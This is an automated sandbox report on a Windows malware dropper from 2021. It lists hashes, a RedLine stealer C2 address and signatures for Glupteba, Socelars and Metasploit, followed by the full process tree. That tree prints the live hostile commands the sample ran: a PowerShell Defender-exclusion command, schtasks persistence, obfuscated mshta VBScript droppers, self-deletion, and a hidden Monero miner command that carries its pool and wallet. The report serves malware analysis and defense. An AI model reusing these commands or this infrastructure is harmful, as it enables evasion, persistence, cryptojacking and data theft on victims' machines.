Analysis
-
max time kernel
16s -
max time network
1828s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
16-09-2021 21:08
General
-
Target
setup_x86_x64_install.exe
-
Size
6.5MB
-
MD5
064f0d6900675bed580da1291a566cfa
-
SHA1
f81699a68c901d190842de735dbda28a3fb52292
-
SHA256
7ec88d4baa0a97362a026cf6e0f46422379a99be6d9bfe19034152f3d47cc0ed
-
SHA512
41dc5c444afd6b5dc0947cf9950acb5aa1081ee9921c748195325b5cfcb23532cea1802959baa59a0c41ed998ba20b509ec107da882d5d8b3bf0b1d17f892738
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
metasploit
Version
windows/single_exec
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 2 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 3 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Downloads MZ/PE file
-
Executes dropped EXE 12 IoCs
-
VMProtect packed file 4 IoCs
Detects executables packed with VMProtect commercial packer.
-
Loads dropped DLL 40 IoCs
-
Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 3 IoCs
-
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 2 IoCs
-
Kills process with taskkill 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 34 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu20c467678e2c.exe4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20c467678e2c.exeThu20c467678e2c.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit7⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'8⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"8⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth8⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"6⤵
-
C:\ProgramData\7685490.exe"C:\ProgramData\7685490.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2616 -s 15808⤵
- Program crash
-
-
-
C:\ProgramData\3895603.exe"C:\ProgramData\3895603.exe"7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "setup.exe" /f8⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu20f2cf5e0c.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20f2cf5e0c.exeThu20f2cf5e0c.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu20dae7c52bc0856.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20dae7c52bc0856.exeThu20dae7c52bc0856.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu20a5f7ccaa78.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20a5f7ccaa78.exeThu20a5f7ccaa78.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20a5f7ccaa78.exeC:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20a5f7ccaa78.exe6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20a5f7ccaa78.exeC:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20a5f7ccaa78.exe6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2026c04e7218e1.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu2026c04e7218e1.exeThu2026c04e7218e1.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu203b503b429e68.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu203b503b429e68.exeThu203b503b429e68.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1084 -s 15126⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2094524d5e5b.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu2094524d5e5b.exeThu2094524d5e5b.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Documents\0LTLvSso9lARXr_FkY29OFrL.exe"C:\Users\Admin\Documents\0LTLvSso9lARXr_FkY29OFrL.exe"6⤵
-
-
C:\Users\Admin\Documents\JsWWpcsVpVlHvVtkdTTE53qV.exe"C:\Users\Admin\Documents\JsWWpcsVpVlHvVtkdTTE53qV.exe"6⤵
-
C:\Users\Admin\Documents\JsWWpcsVpVlHvVtkdTTE53qV.exe"C:\Users\Admin\Documents\JsWWpcsVpVlHvVtkdTTE53qV.exe"7⤵
-
-
-
C:\Users\Admin\Documents\ip2lQ3tq0DrVECtFREb2Xrm9.exe"C:\Users\Admin\Documents\ip2lQ3tq0DrVECtFREb2Xrm9.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"7⤵
-
C:\Users\Admin\Documents\VP3BdCtBcT7WfjwW9mcPgnIL.exe"C:\Users\Admin\Documents\VP3BdCtBcT7WfjwW9mcPgnIL.exe"8⤵
-
-
C:\Users\Admin\Documents\7fqOyuIdsBLMwwEPIClnejyu.exe"C:\Users\Admin\Documents\7fqOyuIdsBLMwwEPIClnejyu.exe"8⤵
-
-
C:\Users\Admin\Documents\Mw_Z3xvrMgsVXHDYUYbiYvmD.exe"C:\Users\Admin\Documents\Mw_Z3xvrMgsVXHDYUYbiYvmD.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JBLU5.tmp\Mw_Z3xvrMgsVXHDYUYbiYvmD.tmp"C:\Users\Admin\AppData\Local\Temp\is-JBLU5.tmp\Mw_Z3xvrMgsVXHDYUYbiYvmD.tmp" /SL5="$10292,506127,422400,C:\Users\Admin\Documents\Mw_Z3xvrMgsVXHDYUYbiYvmD.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AAKDN.tmp\Chmenka.exe"C:\Users\Admin\AppData\Local\Temp\is-AAKDN.tmp\Chmenka.exe" /S /UID=12410⤵
-
C:\Users\Admin\AppData\Local\Temp\75-4cf19-546-8b28d-c3cee311ab0c8\Qihavugefa.exe"C:\Users\Admin\AppData\Local\Temp\75-4cf19-546-8b28d-c3cee311ab0c8\Qihavugefa.exe"11⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e612⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:188 CREDAT:275457 /prefetch:213⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad12⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2544 CREDAT:275457 /prefetch:213⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=185148312⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:824 CREDAT:275457 /prefetch:213⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=185151312⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2368 CREDAT:275457 /prefetch:213⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=208721512⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4092 CREDAT:275457 /prefetch:213⤵
-
-
-
-
C:\Program Files\Mozilla Firefox\GFXFVTFROZ\IDownload.exe"C:\Program Files\Mozilla Firefox\GFXFVTFROZ\IDownload.exe" /VERYSILENT11⤵
-
-
C:\Users\Admin\AppData\Local\Temp\26-6a0b3-78e-825a5-7b8077cae76da\Wigomizhuji.exe"C:\Users\Admin\AppData\Local\Temp\26-6a0b3-78e-825a5-7b8077cae76da\Wigomizhuji.exe"11⤵
-
-
-
-
-
C:\Users\Admin\Documents\3E2wT0obx1pBOoIgn0EXiEUp.exe"C:\Users\Admin\Documents\3E2wT0obx1pBOoIgn0EXiEUp.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\Documents\3E2wT0obx1pBOoIgn0EXiEUp.exe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF """" =="""" for %q In (""C:\Users\Admin\Documents\3E2wT0obx1pBOoIgn0EXiEUp.exe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C COpy /y "C:\Users\Admin\Documents\3E2wT0obx1pBOoIgn0EXiEUp.exe" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G& iF "" =="" for %q In ("C:\Users\Admin\Documents\3E2wT0obx1pBOoIgn0EXiEUp.exe" ) do taskkill -iM "%~nxq" /f10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "3E2wT0obx1pBOoIgn0EXiEUp.exe" /f11⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXeroBCqJOQYC.eXe -P0_6X2fnCLFU6G11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRiPT: closE ( creatEOBJeCT( "WscriPT.shEll"). RUN ("C:\Windows\system32\cmd.exe /C COpy /y ""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" rOBCqJoQYC.eXe && sTArT roBCqJOQYC.eXe -P0_6X2fnCLFU6G & iF ""-P0_6X2fnCLFU6G"" =="""" for %q In (""C:\Users\Admin\AppData\Local\Temp\rOBCqJoQYC.eXe"" ) do taskkill -iM ""%~nxq"" /f " , 0 , TrUe ) )12⤵
-
-
-
-
-
-
C:\Users\Admin\Documents\jb7C6TQKwYx1posBRg3pfpHy.exe"C:\Users\Admin\Documents\jb7C6TQKwYx1posBRg3pfpHy.exe"8⤵
-
-
C:\Users\Admin\Documents\EL0iDT7XML2fWMW3oD6hE4Nv.exe"C:\Users\Admin\Documents\EL0iDT7XML2fWMW3oD6hE4Nv.exe"8⤵
-
C:\Users\Admin\Documents\EL0iDT7XML2fWMW3oD6hE4Nv.exe"C:\Users\Admin\Documents\EL0iDT7XML2fWMW3oD6hE4Nv.exe"9⤵
-
-
-
C:\Users\Admin\Documents\fk8XIGAr6_ai1wlzEbB6EfyC.exe"C:\Users\Admin\Documents\fk8XIGAr6_ai1wlzEbB6EfyC.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS6CF5.tmp\Install.exe.\Install.exe9⤵
-
-
-
C:\Users\Admin\Documents\uqijkW0hIdIFq66T8bpnh9pK.exe"C:\Users\Admin\Documents\uqijkW0hIdIFq66T8bpnh9pK.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "uqijkW0hIdIFq66T8bpnh9pK.exe" /f & erase "C:\Users\Admin\Documents\uqijkW0hIdIFq66T8bpnh9pK.exe" & exit9⤵
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Documents\iL2r5cMG3G9yNaCQKfIlQkao.exe"C:\Users\Admin\Documents\iL2r5cMG3G9yNaCQKfIlQkao.exe"6⤵
-
-
C:\Users\Admin\Documents\MBpliYl2KAut7qFGTqFGlmF4.exe"C:\Users\Admin\Documents\MBpliYl2KAut7qFGTqFGlmF4.exe"6⤵
-
-
C:\Users\Admin\Documents\FyUmrSCgfHSfeelRiVy60r2e.exe"C:\Users\Admin\Documents\FyUmrSCgfHSfeelRiVy60r2e.exe"6⤵
-
-
C:\Users\Admin\Documents\D5_UQ3h2Ywr6MHpdIqV7XqKC.exe"C:\Users\Admin\Documents\D5_UQ3h2Ywr6MHpdIqV7XqKC.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT: CLOse ( crEateOBjeCt ( "wScrIPT.SHELL" ). RuN ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\D5_UQ3h2Ywr6MHpdIqV7XqKC.exe"" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj & IF """"== """" for %w In ( ""C:\Users\Admin\Documents\D5_UQ3h2Ywr6MHpdIqV7XqKC.exe"" ) do taskkill /F -iM ""%~nxw"" " , 0 , tRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\D5_UQ3h2Ywr6MHpdIqV7XqKC.exe" >CndH5V.EXe && Start Cndh5V.EXE -pHMKPyuuVVnjhxYIEreJKQmnfTDzj& IF ""== "" for %w In ( "C:\Users\Admin\Documents\D5_UQ3h2Ywr6MHpdIqV7XqKC.exe" ) do taskkill /F -iM "%~nxw"8⤵
-
-
-
-
C:\Users\Admin\Documents\5iZrNGDwasQltK2PBNUTO_Vk.exe"C:\Users\Admin\Documents\5iZrNGDwasQltK2PBNUTO_Vk.exe"6⤵
-
-
C:\Users\Admin\Documents\vom7gjxuvymENG2J5BaP_wUz.exe"C:\Users\Admin\Documents\vom7gjxuvymENG2J5BaP_wUz.exe"6⤵
-
-
C:\Users\Admin\Documents\u6zPGyMieZR6p31sOBid4cGH.exe"C:\Users\Admin\Documents\u6zPGyMieZR6p31sOBid4cGH.exe"6⤵
-
-
C:\Users\Admin\Documents\6vYjcQ4jZOrW3rORAT1r1gUu.exe"C:\Users\Admin\Documents\6vYjcQ4jZOrW3rORAT1r1gUu.exe"6⤵
-
C:\Users\Admin\Documents\6vYjcQ4jZOrW3rORAT1r1gUu.exeC:\Users\Admin\Documents\6vYjcQ4jZOrW3rORAT1r1gUu.exe7⤵
-
-
-
C:\Users\Admin\Documents\ZtxDLqwKS7EYeAGuO34dZL81.exe"C:\Users\Admin\Documents\ZtxDLqwKS7EYeAGuO34dZL81.exe"6⤵
-
-
C:\Users\Admin\Documents\x17hqaFyvZTLDS0QqKoZ4bT4.exe"C:\Users\Admin\Documents\x17hqaFyvZTLDS0QqKoZ4bT4.exe"6⤵
-
-
C:\Users\Admin\Documents\lqe4YPWkpGfQCfpZUQkWQoNa.exe"C:\Users\Admin\Documents\lqe4YPWkpGfQCfpZUQkWQoNa.exe"6⤵
-
-
C:\Users\Admin\Documents\_uX_5XjkaBGZArop1NtIP_ir.exe"C:\Users\Admin\Documents\_uX_5XjkaBGZArop1NtIP_ir.exe"6⤵
-
-
C:\Users\Admin\Documents\eIlUoI_DJxLcFYlAPPVdSH8p.exe"C:\Users\Admin\Documents\eIlUoI_DJxLcFYlAPPVdSH8p.exe"6⤵
-
-
C:\Users\Admin\Documents\WixF9p_Ww_1oLEtwjtDEX4I5.exe"C:\Users\Admin\Documents\WixF9p_Ww_1oLEtwjtDEX4I5.exe"6⤵
-
-
C:\Users\Admin\Documents\MDkXR1fXP2QTg_zz6hDiQ1Ta.exe"C:\Users\Admin\Documents\MDkXR1fXP2QTg_zz6hDiQ1Ta.exe"6⤵
-
-
C:\Users\Admin\Documents\Rl4994zMDCcJiqxQ0J4oxDSu.exe"C:\Users\Admin\Documents\Rl4994zMDCcJiqxQ0J4oxDSu.exe"6⤵
-
-
C:\Users\Admin\Documents\BZJUbWAx1ti8Wfu5fCYRqpdR.exe"C:\Users\Admin\Documents\BZJUbWAx1ti8Wfu5fCYRqpdR.exe"6⤵
-
-
C:\Users\Admin\Documents\jOye4IfVCtLlmT0FMPVeBNuJ.exe"C:\Users\Admin\Documents\jOye4IfVCtLlmT0FMPVeBNuJ.exe"6⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\jOye4IfVCtLlmT0FMPVeBNuJ.exe"7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK8⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Documents\TbrUSaPvwd5mDH5LKvXKoVp4.exe"C:\Users\Admin\Documents\TbrUSaPvwd5mDH5LKvXKoVp4.exe"6⤵
-
-
C:\Users\Admin\Documents\6wSGu9LRk8w_wjMfh4C3KyOy.exe"C:\Users\Admin\Documents\6wSGu9LRk8w_wjMfh4C3KyOy.exe"6⤵
-
-
C:\Users\Admin\Documents\WOILfZ8ZAz0m7e7A_sFxwTiq.exe"C:\Users\Admin\Documents\WOILfZ8ZAz0m7e7A_sFxwTiq.exe"6⤵
-
C:\Users\Admin\Documents\WOILfZ8ZAz0m7e7A_sFxwTiq.exe"C:\Users\Admin\Documents\WOILfZ8ZAz0m7e7A_sFxwTiq.exe"7⤵
-
-
-
C:\Users\Admin\Documents\0WI1v0gzcTBFaa0kYLJ0thrG.exe"C:\Users\Admin\Documents\0WI1v0gzcTBFaa0kYLJ0thrG.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1716 -s 9567⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dZQlFfryImTivSURSudf2hWi.exe"C:\Users\Admin\Documents\dZQlFfryImTivSURSudf2hWi.exe"6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2090b5515d63b2.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu2090b5515d63b2.exeThu2090b5515d63b2.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\tmp5273_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp5273_tmp.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp5273_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp5273_tmp.exe7⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu20bc9ea26f.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu20fdd9ac35a68.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu20fdd9ac35a68.exeThu20fdd9ac35a68.exe5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu203cdb52ef3c6580d.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2025d6674aed72ba.exe /mixone4⤵
- Loads dropped DLL
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-ARAAN.tmp\Thu2026c04e7218e1.tmp"C:\Users\Admin\AppData\Local\Temp\is-ARAAN.tmp\Thu2026c04e7218e1.tmp" /SL5="$4012E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8369B2C1\Thu2026c04e7218e1.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-HTN53.tmp\___YHDG34.exe"C:\Users\Admin\AppData\Local\Temp\is-HTN53.tmp\___YHDG34.exe" /S /UID=burnerch22⤵
-
C:\Program Files\Uninstall Information\MLHJILSDLR\ultramediaburner.exe"C:\Program Files\Uninstall Information\MLHJILSDLR\ultramediaburner.exe" /VERYSILENT3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BNPC6.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-BNPC6.tmp\ultramediaburner.tmp" /SL5="$20290,281924,62464,C:\Program Files\Uninstall Information\MLHJILSDLR\ultramediaburner.exe" /VERYSILENT4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\30-db57b-adf-f0b97-55ecd4993dee6\Xaenaezhaepylae.exe"C:\Users\Admin\AppData\Local\Temp\30-db57b-adf-f0b97-55ecd4993dee6\Xaenaezhaepylae.exe"3⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e64⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1536 CREDAT:275457 /prefetch:25⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad4⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3800 CREDAT:275457 /prefetch:25⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18514834⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3092 CREDAT:275458 /prefetch:25⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://vexacion.com/afu.php?zoneid=18515134⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:828 CREDAT:275457 /prefetch:25⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://www.directdexchange.com/jump/next.php?r=20872154⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2524 CREDAT:275457 /prefetch:25⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9c-22e1e-126-f7895-c54b38a5c25e6\Jadolaezhilu.exe"C:\Users\Admin\AppData\Local\Temp\9c-22e1e-126-f7895-c54b38a5c25e6\Jadolaezhilu.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3kblhruq.p0j\installer.exe /qn CAMPAIGN="654" & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\3kblhruq.p0j\installer.exeC:\Users\Admin\AppData\Local\Temp\3kblhruq.p0j\installer.exe /qn CAMPAIGN="654"5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\grrumefo.r3t\anyname.exe & exit4⤵
-
C:\Users\Admin\AppData\Local\Temp\grrumefo.r3t\anyname.exeC:\Users\Admin\AppData\Local\Temp\grrumefo.r3t\anyname.exe5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\acmnbv5v.40o\gcleaner.exe /mixfive & exit4⤵
-
